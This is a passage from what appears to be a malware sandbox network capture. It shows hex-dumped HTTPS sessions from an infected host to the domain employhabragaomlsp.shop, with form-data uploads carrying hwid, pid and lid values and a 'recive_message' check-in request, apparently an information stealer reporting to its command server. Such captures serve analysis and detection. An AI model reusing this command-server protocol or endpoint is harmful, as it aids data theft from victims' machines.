6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 08 f9 00 7e 57 c5 0a 53 89 95 d2 8c 25 80 a4 27 61 c1 94 c7 61 af 00 db 4c 01 fc 2e bc d6 77 18 87 64 f4 b6 c2 6b 8c a1 f3 92 34 fc 6e b2 8b 08 38 a3 8e 85 71 5c ec 9a 35 3a 54 71 fb ea 7e ae db 76 90 1a e4 f8 ff 56 29 69 3e 40 b7 df 15 dc 41 83 7a 32 b9 27 08 78 6d e1 60 01 9a 82 73 5a 58 78 89 19 bb 27 ad 54 00 e2 fd b9 60 94 7a 8c c1 5b 30 b4 6d b3 84 18 87 a4 7a 85 c1 a5 c4 34 07 37 1c 68 90 e7 05 18 a3 63 b6 67 38 94 40 72 2a 30 75 3b bf 48 93 e6 b7 f9 39 39 ec e1 17 23 a6 68 a7 94 97 23 17 8a 1e 31 8e 7f b5 38 a5 c2 9b d6 8a a3 56 98 ca 6a 0c c1 32 3d 45 88 0d e0 fd 28 2a c6 14 5c c0 b0 28 29 5b 0d fe 2e f2 9c 5a 47 22 97 b4 22 5f c5 3f 66 3c be 6a 27 41 25 33 d2 b1 b0 c4 b2 e6 cc bb 25 e0 b7 87 a6 8d 0e 14 04 3f fa d1 ec cd 23 23 81 2a f1 6b 37 8f Data Ascii: ~WS%'aaL.wdk4n8q\5:Tq~vV)i>@Az2'xm`sZXx'T`z[0mz47hcg8@r0u;H99#h#18Vj2=E(\()[.ZG""_?f<j'A%3%?##*k7
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 11 45 95 08 c9 5b 56 46 d2 d8 c7 91 36 66 4e af a6 33 da 7f ad 41 73 08 cb 1b 05 a5 b0 2f ea ad 72 9b 04 1c b9 a9 30 96 3f 11 d1 42 91 08 f6 92 a0 9d 7a 80 eb 78 81 a0 22 65 86 c1 5e a9 c8 12 d3 b5 cc 47 c3 a6 62 b4 ca f8 f4 b3 ca 75 c9 10 01 e2 9e ee 77 f9 4d 74 93 29 58 28 46 4b f5 21 5e ae f0 85 c6 ec 87 42 91 b1 dd 93 86 c0 07 89 7e 53 a7 14 81 98 a0 92 6b 4a 31 3a e8 9e c1 70 a1 d9 2f 46 d3 83 1d eb f4 12 8b fd 9d e7 99 92 e8 70 41 de be 7a fa 5f aa ae df e3 28 0c 83 32 ce dc 9c 91 df ea 9b 63 96 9c 01 69 84 df f9 8a dc 5c 37 83 08 d7 da 11 aa f5 fd 01 f2 9e ae eb 11 94 2b 67 b8 2e 6f f0 d0 e8 ab f9 a9 ef 62 97 2b ff 0a fa d9 a2 b1 19 ef ed 02 f9 68 c2 99 27 c8 98 3b 98 bb 0f 16 2f c5 64 e5 a9 dd 89 67 93 5a 0f 92 2f 30 1a 16 4e b0 1b 75 f3 24 c2 98 Data Ascii: E[VF6fN3As/r0?Bzx"e^GbuwMt)X(FK!^B~SkJ1:p/FpAz_(2ci\7+g.ob+h';/dgZ/0Nu$
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 37 68 9f 1c 44 88 bb 7b 07 a8 be d0 e5 f4 7b cb 90 a2 af 7e 7b 52 62 bb f4 d5 9e 7a 71 e9 d9 d5 30 60 1b 83 9a 63 9b b5 e6 95 00 0c f5 f7 dd 8f 47 5e 31 5d fa 82 33 50 07 5a e6 9b f7 3d 5a 27 5c 0d 57 4a 4d f1 b6 0e 46 f9 ef ae 4d fd 45 d0 4d 11 14 7f 11 3b e0 0b ce d8 fc 57 34 39 7a bd a3 ce 28 67 69 a2 d9 6a 7b a9 e8 a3 13 2f 39 5a 7e 77 49 cd 27 ae d9 ce f9 f0 eb 85 f7 fe 7b 19 b2 c3 82 77 28 6e 1f d0 bd c8 cf 0f 39 d2 0f 08 ff d5 52 52 37 37 39 17 a9 ae a1 4b 76 1f 6f f4 46 2d 89 dc 44 7b dc 73 4d 12 4a 6a d0 13 34 73 01 63 6d 6a 4c a5 6e 6f 41 70 6d 09 76 1e a5 6e 1e 97 a1 13 06 b7 fc ee 9c fc dc 8d 63 f6 b4 1f 2d 49 5b 78 44 d9 db dd fe 71 2e b5 f2 07 c7 20 ce 82 22 7b b5 f9 2e 4f f1 e2 39 9a 5f 59 6b 3f f9 d3 ee 19 9e 7e cb 9f aa 07 dd 5e 7d b0 55 Data Ascii: 7hD{{~{Rbzq0`cG^1]3PZ=Z'\WJMFMEM;W49z(gij{/9Z~wI'{w(n9RR779KvoF-D{sMJj4scmjLnoApmvnc-I[xDq. "{.O9_Yk?~^}U
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 93 37 61 53 7d 7f 2e 0e 6e 1e d4 11 ee f2 d5 3a cd f1 91 32 1a 6f 73 f0 2a 27 e7 2c 78 0d 8d bc 50 5d aa 4d ae 2a 4b 42 c7 1e 50 1d b1 e0 d8 04 ef 77 76 91 17 db bd b3 a7 95 e9 f6 90 db ac 59 99 f7 e4 ef b1 92 0c 78 55 e0 66 75 86 6b 2e c4 5b 46 f4 22 0c e6 b8 e0 0f 33 06 37 f7 22 84 80 d1 44 2e 54 47 04 7a af cf f0 11 07 c7 d5 6c 76 20 cf 43 e9 0d 51 ff 2b 93 b6 c8 a0 80 db 5e 93 4e 45 f7 91 e0 c3 bd cc 26 1e 30 44 71 1c b5 56 75 c1 08 ef bc 7b ff e9 f0 7b 6d 53 7f 2d 49 87 fb 47 24 6d ee a9 bc 57 36 27 a5 fb a1 ff 3e a0 35 2d 9c 4c 58 81 18 fe 89 54 be ff ff 2b b9 21 09 4a c7 78 e0 3c b0 f8 67 e0 92 cc e2 1b 21 46 55 39 25 a5 05 59 0c 7f 5e 2c 79 54 c4 c3 41 38 4f b5 7f e2 ec 08 27 7c 97 28 cb 4a 10 44 fc d9 9e 0e 54 b4 9f 21 89 b5 06 a9 81 5b 51 da d4 Data Ascii: 7aS}.n:2os',xP]MKBPwvYxUfuk.[F"37"D.TGzlv CQ+^NE&0DqVu{{mS-IG$mW6'>5-LXT+!Jx<g!FU9%Y^,yTA8O'\|(JDT![Q
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: de 4a ac 10 6e 10 a4 34 b9 f1 bd 9c 38 db 39 b9 b4 36 64 e3 56 31 bf ce 2c 42 ce a9 4e 42 b8 a9 1c 59 61 d1 f8 79 b9 06 5b 2d 5f e8 62 4f 28 90 7b 16 55 48 6a 34 30 f0 15 f8 71 b0 25 90 aa ae dc ea ad 5d 9b 00 c5 7b 6f fb 3c 4b d3 42 06 16 6c bf da 51 2b 62 2d c3 08 40 ec aa 75 46 29 87 eb 73 6c bb 38 a6 f4 0b 61 40 d0 8d b1 7b 7c 3d f7 8f dc dd 9a 74 aa 57 ec 2e 72 f6 68 4b 16 2a 51 89 36 14 b3 1f ef bb fc d1 c8 e6 9b be 67 81 a0 a1 46 53 d8 16 5f d8 e9 36 be e2 7c c3 59 c7 d8 de 8a ed 07 3f 82 0c 7f 08 9d 73 96 fd 55 97 f8 0c fa 5d 82 cd ad 4c c4 10 c0 83 a1 02 7a 6b db a0 bc 2d f7 87 2b 24 9c 8d e8 1d c4 ad df a2 17 1c d5 39 bc a5 8f 3b c4 f1 47 4d 6c 1d a5 17 99 19 90 0c ab 24 19 d1 fb d4 d4 67 f5 e4 31 21 b0 cf 8f ea 90 fe 29 e6 79 90 7f 15 23 47 88 Data Ascii: Jn4896dV1,BNBYay[-_bO({UHj40q%]{o<KBlQ+b-@uF)sl8a@{\|=tW.rhK*Q6gFS_6\|Y?sU]Lzk-+$9;GMl$g1!)y#G
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 58 cc 46 22 0f 61 64 79 9b 65 ed 42 a6 d7 7f 96 53 e4 44 c9 bb ba 9e b3 4a fe bf b6 8a 9f 38 59 04 7c bd 73 38 2f ae ca e3 cd be b6 c0 38 dd be 6f 48 bc 3b f7 ad 2a 6b 58 a2 09 76 e1 54 09 32 52 10 e4 a1 03 ab 4b 33 92 d2 38 41 c8 0d d4 b9 cd 14 a4 ee 66 c3 26 ca 1d 6e 55 3d 14 fd 71 11 10 56 bd 83 c0 2d 9c cc 6c e6 04 07 aa e4 7f 5b f6 ca c6 47 2f 19 70 ed ce f2 90 ac 97 a9 7f fd eb e3 47 c8 1f 3b e3 b3 81 04 f1 de 1b b8 45 1c b2 fc 96 63 9a fb 5c 49 7c 35 5e d1 8a 96 c4 58 ff 99 89 8f 7c b2 19 9a 82 48 be cd c2 6c 8e db 92 86 12 0a b4 91 70 f3 01 2b d2 04 9d 95 3b ab a5 df e6 a3 59 3f a3 44 6f a2 01 6e 73 f5 67 1a cb 67 08 41 bf 36 ba f4 38 e7 5e 20 93 1d e0 5c fd e3 5a 94 43 2f 58 ac 11 02 57 37 46 4b 3e d6 48 8f 56 2a f5 6d 56 c2 d4 c7 00 44 97 d2 df Data Ascii: XF"adyeBSDJ8Y\|s8/8oH;kXvT2RK38Af&nU=qV-l[G/pG;Ec\I\|5^X\|Hlp+;Y?DonsggA68^ \ZC/XW7FK>HVmVD
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: ac bb 83 24 e8 be 43 fd 49 24 84 c8 21 e6 9d a8 07 02 e6 e0 75 c3 f9 6b a1 30 e1 79 88 3e 7f e2 e2 50 85 c3 68 5e 3a 41 44 93 a1 90 ae f8 9a 9c e0 69 0a 9b d6 c3 65 52 5d 54 ee bb 69 9b 8b 61 18 98 40 76 e6 fb d5 fe df f6 b4 16 bd cc 1f 09 9b 80 e7 c0 dc 73 14 2c 3b 7f 66 fc 05 16 e6 c3 f1 2e 4a 63 3b c7 27 e6 5c d9 f6 03 91 06 44 6d 94 99 58 5f d1 0d fb 5a 17 a5 f4 b9 f1 14 b3 0b 8a 97 94 32 0c e6 d4 db 5c 63 ed 6b 88 f2 a1 7a 97 04 e3 c9 fc 80 57 60 3d b6 ea a8 6b 7d a7 59 d3 f8 fe 10 47 a9 00 24 66 95 af a8 97 fe c0 d3 9f 84 bd be 6f d1 1b 4a 46 76 a7 c6 b5 d4 f0 9e 88 06 9a cd a7 c1 6f e5 ab fa 25 9e 9c 17 65 0f 8e 0f 4b f4 3b 6d 3a ff 8b 78 42 29 dc 3f 55 7f 55 80 14 e8 11 c3 18 36 ca ef 29 09 b8 e6 b5 b4 f9 25 11 4f aa 35 95 4b ff 79 9d 76 56 6f a8 Data Ascii: $CI$!uk0y>Ph^:ADieR]Tia@vs,;f.Jc;'\DmX_Z2\ckzW`=k}YG$foJFvo%eK;m:xB)?UU6)%O5KyvVo
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: 42 cd 8b c4 fd 3d 80 3e 98 89 d0 92 20 66 be 2c a8 ba bc 1f c0 ff f2 82 68 83 49 f7 ca 9c b5 97 89 2d 64 6d 2c d7 01 f5 5d 93 47 60 bb 99 c3 8c 14 b8 ba db 54 1e 22 c5 c3 41 c8 32 e1 0c 4b f7 d1 64 f8 35 99 17 63 17 24 b1 c4 29 be 8e 5f 09 7e 0b c2 ad 04 44 a4 9b 9f c7 fc 03 15 ee dc 9e 0a f5 4e 87 8e 25 c8 32 1b d7 69 22 f8 5d b2 f0 3b 80 72 1b 4a 8a dd 3a f8 3c 84 88 bf c1 b8 98 6c 3b db 5d 34 ac c7 96 11 16 72 e3 1e bc 36 5a 20 1c a5 d2 09 b8 13 73 e1 47 09 b0 96 e1 af 39 26 e7 95 4e 5b 43 b4 84 a8 10 a4 bc 11 a8 43 15 26 88 d0 09 fb 2e d5 3f 80 f8 21 3e 7e 41 89 6f 35 07 1e c5 ca 3f fd 04 0e f4 7e 6d ca 47 99 35 04 4b 70 de 80 f4 27 c1 aa 08 5a b0 6b 4c e3 8b 27 83 ea 0e f9 ed 01 7c b3 49 79 64 7e be d9 2d 7a 54 98 a0 30 53 7b 59 98 ef 5b f5 67 79 86 Data Ascii: B=> f,hI-dm,]G`T"A2Kd5c$)_~DN%2i"];rJ:<l;]4r6Z sG9&N[CC&.?!>~Ao5?~mG5Kp'ZkL'\|Iyd~-zT0S{Y[gy
2024-05-24 07:43:14 UTC	15331	OUT	Data Raw: fc fd e4 5c 68 fb be 00 ce 51 b3 15 2f c4 06 60 1f 6d 91 ee ff 0f 50 66 9f 6b 3d 2a 34 06 e9 e6 8c 0d bd fd 4f b7 8f c3 c6 77 41 dd 82 6c fe b9 ea fb 87 6f 49 10 b6 1b 05 70 7b 21 32 3f 94 b1 27 7a 28 36 df c8 0e 05 c3 61 b6 bb b7 59 fa 73 d6 ad 9f c1 f5 21 bc dc 29 2c bb 20 fb e8 7e 69 e6 ad 06 35 9b d3 c8 da c6 b8 ef 2f 7d 73 bc 14 c0 1e 3c 27 20 b2 6a 31 46 ea a4 93 2f f7 43 b3 ab 83 2c ad 68 c2 82 9f 2c ce 79 fc d5 fc 36 c0 4f 20 fe 1a 21 06 e1 82 71 5b bf 9e 5d 1a 4d 12 a1 f8 42 e6 8e f9 19 08 99 87 f5 a2 3b 04 9b b2 b4 0e 81 c3 d6 e9 b5 35 46 ab 81 69 4d 68 d3 52 0c 3f bd 91 87 62 6e 52 cc 3d cf b2 d6 93 3e 5d 4f e3 05 93 1b e8 19 3b d0 f4 4b 58 63 81 f2 3a a9 56 36 5d b1 3e 50 56 64 4c e7 8d 72 62 b8 b7 14 b3 59 65 de db 15 f1 4d bf 55 e9 a1 78 ce Data Ascii: \hQ/`mPfk=*4OwAloIp{!2?'z(6aYs!), ~i5/}s<' j1F/C,h,y6O !q[]MB;5FiMhR?bnR=>]O;KXc:V6]>PVdLrbYeMUx
2024-05-24 07:43:17 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lgek3kmt114jo25dt3ltudn9dr; expires=Tue, 17-Sep-2024 01:29:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OkV%2BOnyT4ZPeNYL7CJ4R2xCjG6W9lwu6ozQYjGb6zfpKqe4n12Zc97DlJ4IrDPzADvh7IB0e1nnNs%2BCdEeCxZdAU6X1%2F%2FKYVyirVKHUzCuErkS4F%2Bd%2FFHxLq9MOGv%2FY0DbKAD1MmAHyKlw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba756bee20f3d-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49967	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:15 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 07:43:15 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:15 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2una8kgn600pr6g0v8s8qffj37; expires=Tue, 17-Sep-2024 01:29:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GOUJSo7uL%2B8i%2FPPe%2BvRYLaluoQk4obXABUuWuImcQDqP11Wsv%2BLxjRfaphyKS9cf46IK2gWwmy2i44meXtXr4mFi1aoV3MmiD8GaLh%2Fb6ag4Tqf4Ar9aXzn9gY%2FpOOlaGH9fq4EnakjPHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7574979187d-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:15 UTC	551	IN	Data Raw: 35 30 34 0d 0a 4a 4c 50 75 38 65 72 43 43 6f 65 53 62 74 37 6a 55 31 2b 51 41 30 68 4a 56 78 69 64 54 32 4d 39 6d 64 51 39 58 48 39 72 47 67 4e 66 75 65 66 54 6e 4f 41 77 70 36 5a 43 31 4f 70 78 4c 50 55 68 63 6d 6b 6a 61 75 67 71 54 7a 65 51 39 6c 77 34 58 56 45 36 5a 55 58 66 6e 5a 54 47 79 41 4f 6c 2f 78 62 38 32 58 4d 45 6d 67 6f 7a 51 31 34 52 76 79 6f 4e 48 36 50 30 48 79 73 61 43 58 39 37 55 4e 61 41 67 6f 4f 74 5a 4d 66 2f 43 36 71 43 50 6a 37 6a 61 47 59 67 4f 44 71 78 52 57 6f 30 75 37 46 48 66 6b 56 4c 4f 45 35 42 78 34 2b 38 69 37 46 68 70 62 35 6b 31 2b 70 78 4f 75 51 68 63 6d 6c 31 52 4c 38 2f 41 6b 2f 34 75 55 34 41 58 56 46 68 58 77 62 61 6d 70 53 59 6f 33 37 75 2f 51 43 74 76 33 46 6c 70 6a 4e 34 65 57 63 6f 34 47 31 70 4e 4f 54 65 4e 41 Data Ascii: 504JLPu8erCCoeSbt7jU1+QA0hJVxidT2M9mdQ9XH9rGgNfuefTnOAwp6ZC1OpxLPUhcmkjaugqTzeQ9lw4XVE6ZUXfnZTGyAOl/xb82XMEmgozQ14RvyoNH6P0HysaCX97UNaAgoOtZMf/C6qCPj7jaGYgODqxRWo0u7FHfkVLOE5Bx4+8i7Fhpb5k1+pxOuQhcml1RL8/Ak/4uU4AXVFhXwbampSYo37u/QCtv3FlpjN4eWco4G1pNOTeNA
2024-05-24 07:43:15 UTC	740	IN	Data Raw: 31 47 56 6e 5a 69 4f 47 5a 4b 6b 64 54 52 79 4b 5a 6d 35 50 30 4d 72 6f 6b 36 4e 76 64 7a 49 53 49 34 64 2f 38 67 43 31 44 34 74 6c 67 30 46 77 5a 79 5a 55 76 63 69 70 4f 49 34 43 61 4e 6d 32 66 38 68 69 6c 39 71 69 4e 71 43 44 42 71 2b 43 45 58 48 63 48 32 4e 31 55 43 52 78 4d 6a 42 4c 6e 6e 69 75 44 4c 41 36 58 33 41 50 7a 5a 63 33 33 36 5a 43 6b 6f 50 6e 58 38 4a 51 70 4e 2b 36 52 5a 4d 78 67 62 66 6d 52 49 32 34 2b 42 67 71 35 75 35 76 6b 48 74 59 51 32 4f 62 49 76 51 6b 42 65 4f 76 67 31 51 51 65 35 39 6e 34 7a 46 67 56 79 64 6b 61 52 35 50 69 58 37 67 43 4f 36 57 54 58 36 6e 45 36 2f 69 46 79 61 58 56 2b 2f 69 6b 41 57 2f 57 34 57 7a 49 62 42 33 56 75 51 4e 75 4d 6c 49 4b 6f 59 4f 54 39 42 37 4f 42 4e 44 44 32 5a 79 59 71 4d 44 71 78 52 57 6f 30 75 Data Ascii: 1GVnZiOGZKkdTRyKZm5P0Mrok6NvdzISI4d/8gC1D4tlg0FwZyZUvcipOI4CaNm2f8hil9qiNqCDBq+CEXHcH2N1UCRxMjBLnniuDLA6X3APzZc336ZCkoPnX8JQpN+6RZMxgbfmRI24+Bgq5u5vkHtYQ2ObIvQkBeOvg1QQe59n4zFgVydkaR5PiX7gCO6WTX6nE6/iFyaXV+/ikAW/W4WzIbB3VuQNuMlIKoYOT9B7OBNDD2ZyYqMDqxRWo0u
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 33 38 62 30 0d 0a 30 2b 44 4c 64 36 75 59 5a 36 58 70 57 6c 61 79 5a 69 5a 72 62 54 69 2f 4b 77 31 61 39 4c 68 66 4d 42 77 45 66 6d 56 4c 30 5a 36 56 6d 71 64 70 35 76 4d 4b 75 59 55 78 50 50 64 6b 4c 69 4d 78 64 76 42 74 54 7a 65 51 33 52 38 35 42 55 6b 67 49 77 62 2b 6d 35 32 65 71 33 7a 69 34 42 32 47 77 77 51 2b 2f 47 38 74 50 58 55 53 6c 44 4a 50 4e 35 43 76 4e 31 56 32 53 58 39 74 42 6f 6e 4f 30 34 47 79 65 75 48 32 42 37 65 54 49 7a 66 32 59 43 73 73 4f 6e 76 30 4b 41 31 56 38 4c 4a 4e 4e 68 51 4b 61 6d 56 47 32 6f 61 56 79 4f 34 41 6a 70 74 4d 75 35 6c 78 5a 62 41 68 44 69 59 6c 64 76 51 37 42 6b 2f 4f 74 56 45 77 47 68 38 34 43 53 33 4f 77 76 76 6a 75 51 43 4f 6d 30 79 37 6a 58 46 6c 73 43 45 6c 4a 44 70 79 2f 79 77 46 55 76 2b 33 55 6a 49 55 43 Data Ascii: 38b00+DLd6uYZ6XpWlayZiZrbTi/Kw1a9LhfMBwEfmVL0Z6Vmqdp5vMKuYUxPPdkLiMxdvBtTzeQ3R85BUkgIwb+m52eq3zi4B2GwwQ+/G8tPXUSlDJPN5CvN1V2SX9tBonO04GyeuH2B7eTIzf2YCssOnv0KA1V8LJNNhQKamVG2oaVyO4AjptMu5lxZbAhDiYldvQ7Bk/OtVEwGh84CS3OwvvjuQCOm0y7jXFlsCElJDpy/ywFUv+3UjIUC
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 4a 7a 74 4f 34 72 57 54 75 2f 45 36 4a 67 6a 38 7a 39 58 64 71 51 31 35 6c 73 55 56 71 52 70 50 64 4e 48 34 61 42 54 67 35 42 4a 47 44 6b 6f 57 71 59 2b 76 38 44 62 79 46 4d 6a 66 79 62 69 38 74 50 58 50 2f 50 77 5a 51 2b 72 64 55 4e 52 41 48 66 57 42 44 31 73 7a 64 34 4d 73 44 70 66 63 55 2f 4e 6c 7a 66 64 39 49 45 47 74 64 45 65 42 6a 61 54 54 69 33 6a 52 56 58 51 35 30 49 52 36 54 7a 4a 65 43 6f 47 58 76 2b 77 4f 2f 68 6a 38 39 2f 32 73 34 49 7a 56 36 38 53 73 41 55 2f 36 33 55 7a 30 50 42 58 35 73 51 4e 6d 65 30 38 62 49 41 34 36 77 43 36 54 42 61 58 2b 79 51 53 45 6e 4e 6e 62 2b 4b 6b 4e 2b 38 62 56 55 4d 6c 38 38 65 32 39 49 31 70 72 54 34 4d 74 33 71 35 68 6e 70 65 6c 61 56 72 4a 6d 4a 6d 74 74 4f 4c 38 70 42 56 50 37 73 56 45 36 47 77 52 2f 61 6b Data Ascii: JztO4rWTu/E6Jgj8z9XdqQ15lsUVqRpPdNH4aBTg5BJGDkoWqY+v8DbyFMjfybi8tPXP/PwZQ+rdUNRAHfWBD1szd4MsDpfcU/Nlzfd9IEGtdEeBjaTTi3jRVXQ50IR6TzJeCoGXv+wO/hj89/2s4IzV68SsAU/63Uz0PBX5sQNme08bIA46wC6TBaX+yQSEnNnb+KkN+8bVUMl88e29I1prT4Mt3q5hnpelaVrJmJmttOL8pBVP7sVE6GwR/ak
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 67 61 56 75 35 50 55 4a 76 59 55 39 4e 2f 52 69 4b 53 51 36 64 66 64 74 54 7a 65 51 33 52 38 35 42 55 6b 67 49 77 62 30 6d 35 69 47 70 69 69 4e 6d 78 50 79 36 56 6f 6b 6d 67 70 42 61 7a 4a 32 76 33 56 44 48 2f 65 2f 57 54 67 59 42 58 6c 6e 54 74 53 45 6c 34 6d 6d 62 75 62 2f 43 4c 6d 41 50 6a 6e 2b 62 79 41 71 4e 48 62 30 49 67 70 61 75 2f 67 33 56 58 5a 4a 66 33 6b 47 69 63 37 54 75 61 4e 2b 38 75 41 41 2f 4f 6c 61 49 72 77 4a 51 54 4a 64 45 5a 52 74 42 6c 4f 37 37 68 31 2b 48 42 74 79 61 30 6a 55 67 35 61 4c 72 32 2f 6f 39 67 43 32 69 44 6b 37 2f 57 67 34 4b 44 6c 30 2b 43 4d 4e 55 66 61 38 58 44 4e 64 52 78 41 4b 4c 5a 47 4c 69 38 6a 34 4b 71 58 63 43 37 47 76 4f 6a 48 31 49 55 4a 41 4b 6a 53 58 52 68 67 33 6b 4e 30 66 4f 52 46 4a 49 43 4d 47 33 59 61 Data Ascii: gaVu5PUJvYU9N/RiKSQ6dfdtTzeQ3R85BUkgIwb0m5iGpiiNmxPy6VokmgpBazJ2v3VDH/e/WTgYBXlnTtSEl4mmbub/CLmAPjn+byAqNHb0Igpau/g3VXZJf3kGic7TuaN+8uAA/OlaIrwJQTJdEZRtBlO77h1+HBtya0jUg5aLr2/o9gC2iDk7/Wg4KDl0+CMNUfa8XDNdRxAKLZGLi8j4KqXcC7GvOjH1IUJAKjSXRhg3kN0fORFJICMG3Ya
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 4f 44 78 42 4c 61 4a 50 6a 4c 67 59 43 55 69 4d 6e 48 79 49 67 39 61 39 61 52 59 4e 52 59 42 63 57 39 41 6b 63 4c 37 34 38 73 6f 34 75 68 4d 35 4d 4e 78 43 2f 46 76 49 54 6f 36 65 66 4e 74 61 54 54 6b 2b 44 64 56 42 47 45 54 43 67 62 57 67 4e 50 51 34 69 6a 70 2f 67 79 7a 6a 54 30 32 2b 6d 41 6d 4a 54 4a 2f 39 69 55 4a 54 66 71 79 56 7a 38 54 42 6e 6c 6c 51 39 53 49 6c 49 79 6d 5a 36 57 2b 5a 4e 66 71 63 54 72 71 49 58 4a 70 64 56 58 34 4f 43 42 6c 75 39 34 30 49 56 4e 68 45 33 67 75 75 75 66 54 6a 36 77 6f 76 62 4a 4d 74 6f 6f 31 50 76 5a 6b 4a 53 6f 30 66 4f 30 71 43 45 33 31 75 31 41 32 46 51 42 35 5a 55 50 63 69 70 2b 43 6f 57 2f 72 2f 67 54 38 7a 31 6c 57 6d 53 45 74 4d 33 55 69 76 57 30 67 54 2b 43 6b 53 54 4d 38 42 48 63 68 4c 72 71 54 33 65 44 4c Data Ascii: ODxBLaJPjLgYCUiMnHyIg9a9aRYNRYBcW9AkcL748so4uhM5MNxC/FvITo6efNtaTTk+DdVBGETCgbWgNPQ4ijp/gyzjT02+mAmJTJ/9iUJTfqyVz8TBnllQ9SIlIymZ6W+ZNfqcTrqIXJpdVX4OCBlu940IVNhE3guuufTj6wovbJMtoo1PvZkJSo0fO0qCE31u1A2FQB5ZUPcip+CoW/r/gT8z1lWmSEtM3UivW0gT+CkSTM8BHchLrqT3eDL
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 4f 75 68 44 67 31 39 6d 67 71 4c 7a 39 33 2b 43 30 45 55 76 36 79 55 54 6f 61 43 58 52 75 51 64 6d 44 6c 34 69 76 4b 4b 75 59 5a 39 66 42 4e 69 57 79 4f 57 68 72 46 58 48 70 44 41 39 55 36 66 59 33 56 51 4a 48 45 41 70 66 75 65 66 34 79 4b 64 6b 70 61 68 4f 2f 49 38 34 50 50 70 76 4a 69 4d 78 61 50 38 6d 43 46 44 36 75 56 38 39 48 41 4e 77 63 30 44 52 68 35 75 50 71 47 7a 72 34 67 32 7a 77 58 39 56 6d 51 70 71 4c 43 30 36 70 32 39 42 62 75 32 78 57 44 46 66 49 48 39 36 52 39 75 50 6d 49 54 67 41 49 37 76 51 74 54 71 4b 46 57 5a 43 6d 6f 73 4f 54 71 6e 62 30 46 53 39 37 74 62 4c 42 45 4a 65 47 68 42 32 35 36 63 68 36 31 72 35 66 55 65 76 5a 4d 2b 4e 76 64 69 4c 69 51 36 64 76 63 6e 51 52 47 54 33 54 52 2b 47 68 45 34 4f 51 53 52 6f 4a 43 5a 71 69 72 43 36 Data Ascii: OuhDg19mgqLz93+C0EUv6yUToaCXRuQdmDl4ivKKuYZ9fBNiWyOWhrFXHpDA9U6fY3VQJHEApfuef4yKdkpahO/I84PPpvJiMxaP8mCFD6uV89HANwc0DRh5uPqGzr4g2zwX9VmQpqLC06p29Bbu2xWDFfIH96R9uPmITgAI7vQtTqKFWZCmosOTqnb0FS97tbLBEJeGhB256ch61r5fUevZM+NvdiLiQ6dvcnQRGT3TR+GhE4OQSRoJCZqirC6
2024-05-24 07:43:15 UTC	1369	IN	Data Raw: 78 4f 75 6f 68 63 6d 6c 31 57 65 67 37 43 30 53 37 33 6a 51 68 55 32 45 54 65 43 36 36 35 39 4f 50 72 43 69 39 73 6b 79 78 68 6a 38 31 39 47 38 73 4f 54 6c 31 2b 53 30 41 56 66 61 36 56 44 6b 54 41 6e 35 6b 53 39 47 4b 6c 59 79 6b 62 4f 76 7a 54 50 4c 70 57 6c 61 79 5a 6a 4a 72 62 54 69 2f 43 69 78 75 75 5a 56 49 4b 42 63 4f 64 48 64 4e 30 49 2b 46 68 62 41 6f 6a 5a 73 54 38 75 6c 61 4a 4a 6f 4b 51 57 73 79 64 72 39 31 51 78 2f 77 75 46 6f 2f 45 51 4e 2f 62 31 54 51 68 70 2b 4a 70 32 2f 75 34 67 65 75 69 6a 6b 2b 2f 47 6b 6a 4b 7a 74 36 2f 69 41 42 48 37 58 65 4e 46 56 64 44 6d 41 68 48 70 50 4d 74 71 75 33 66 75 2b 79 4c 36 75 58 4f 7a 72 2b 